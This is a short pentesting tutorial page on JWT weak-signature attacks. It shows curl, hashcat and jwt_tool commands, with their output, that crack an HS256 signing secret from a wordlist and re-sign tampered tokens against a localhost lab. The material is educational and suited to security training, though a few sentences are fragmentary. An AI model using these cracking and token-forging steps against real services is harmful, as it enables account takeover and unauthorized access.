Weak Signature
JWT has a weak signature when the cryptographic algorithm used to sign the token is insecure or when the secret key is weak. This vulnerability allows attackers to forge or manipulate JWTs by exploiting predictable or easily guessable signatures. Weak signatures compromise the integrity and authenticity of the JWT, potentially leading to unauthorized access or data breaches.
The below example is based on TCM's Practical API Hacking course.
# Logging in with valid creds
$ curl -X POST http://localhost/login -H 'Content-Type: application/json' --data '{"username":"user","password":"user"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM"}
# Brute forcing the secret
hashcat -a0 -m16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM /usr/share/wordlists/rockyou
<SNIP>
eyJ...<SNIP>...CDM:ucyxu6
<SNIP>
# We can also crack the JWT secret with jwt_tool
$ jwt_tool -C -d /usr/share/wordlists/rockyou 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ==.BmzWWVFXmJsqH7K9dTxCyCopRB0HHFvCYKCfwW+8We4='
Original JWT:
[+] coffee is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "coffee"
userid claim.We can also tamper the required claims using jwt_tool.
We can also tamper the JWT's claim using the Burp's JWT Editor extension (Figure 2).
The below example is base on PortSwigger's JWT attacks module.

Last updated
Was this helpful?